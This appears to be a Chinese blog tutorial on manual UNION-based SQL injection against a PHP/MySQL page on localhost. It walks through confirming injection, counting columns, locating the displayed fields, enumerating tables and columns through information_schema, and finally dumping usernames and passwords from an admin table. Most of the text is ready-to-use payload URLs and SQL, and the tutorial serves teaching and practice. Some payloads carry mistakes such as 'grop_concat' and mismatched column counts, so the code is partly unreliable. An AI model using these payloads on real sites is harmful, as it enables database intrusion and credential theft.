php mysql 过程_PHP+mysql注入的基本过程

1:验证注入(and 1=1)

URL:     http://127.0.0.1/test.php?id=9 and 1=1     sql语句:select * from article where id =‘9 and 1=1’;返回正常

http://127.0.0.1/test.php?id=9 and 1=2     sql语句:select * from aritcle where id =‘9 and 1=2’;返回报错

2:判断字符段数(order by和 union)

2.1    order by

URL:      http://127.0.0.1/test.php?id=9 order by 1,2,3,4         sql语句:select * from aritcle where id =9  order by 1,2,3,4;

order by 在sql语句中是对结果集的指定列进行排序。

如:当我们测试到7时报错,表明该表只有6个字段

2.2     UNION select

url:http://127.0.0.1/test.php?id=9 union select null,null,null,null             sql语句:select * from aritcle where id=9 union select null,null,null;

UNION SELECT 联合查询:可以用于一个或多个SELECT的结果集,但是他有一个条件,

就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,

也就是说当我们union select的列与它查询的列相同时,页面返回正常。

如:当字段为6个时页面返回正常,而大于或小于6个页面会报错。

解决两个小问题:

问题一:大部分程序只会调用数据库查询的第一条返回(我们这个也是),而通过联合查询出的数据中,

我们想看到的数据是在第二条中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,

第二种是通过sql语句直接返回我们想要的数据。

法一:我们让第一个查询的结果始终为假

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null

sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null

结果:返回为什么什么也没有呢 因为我们的第二个查询中并没有查询到什么 返回为NULL 自然就什么也没有了

我们把语句放在mysql中看一下返回结果:

ff5d8390e6577720feecdf1cbb88cfcb.png

法二:通过limit语句,limit在mysql中是用来分页的,我们也可以通过他拿到我们想要的结果集

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null limit 1,1

sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1

返回也是空,同上面结果一样

问题二:哪个列中的数据是在页面中显示出来的,可能有一些列中的数据只是用于后台程序对数据处理使用,

并不会在前台显示,所以我们需要判断哪个字段我们可以看到。如图,我们通过数字代替了NULL进行查询,

确定了2,3,4,5 四个字段可以在页面中显示。

回答一下为什么我们不一开始就是用数字,因为union select 不仅要求列的数量相同,同时数据类型也要相似。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

3.查询数据库

可以通过使用mysql自带的函数database()查询,得到数据库名:test

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

结果:显示出test

4.查表名

查表名我们主要用到的是TABLES表。

这里我们用到了group_concat它可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据。

这里我们的目标是admin表。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

结果:显示出所有表名,第一个为admin

5.查字段:

这里同样使用information_schema库,这里使用的是columns表。得到字段id,username,password

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

结果:id,username,password

6:查数据

url:    http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin

sql语句:     SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin

结果就出来了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值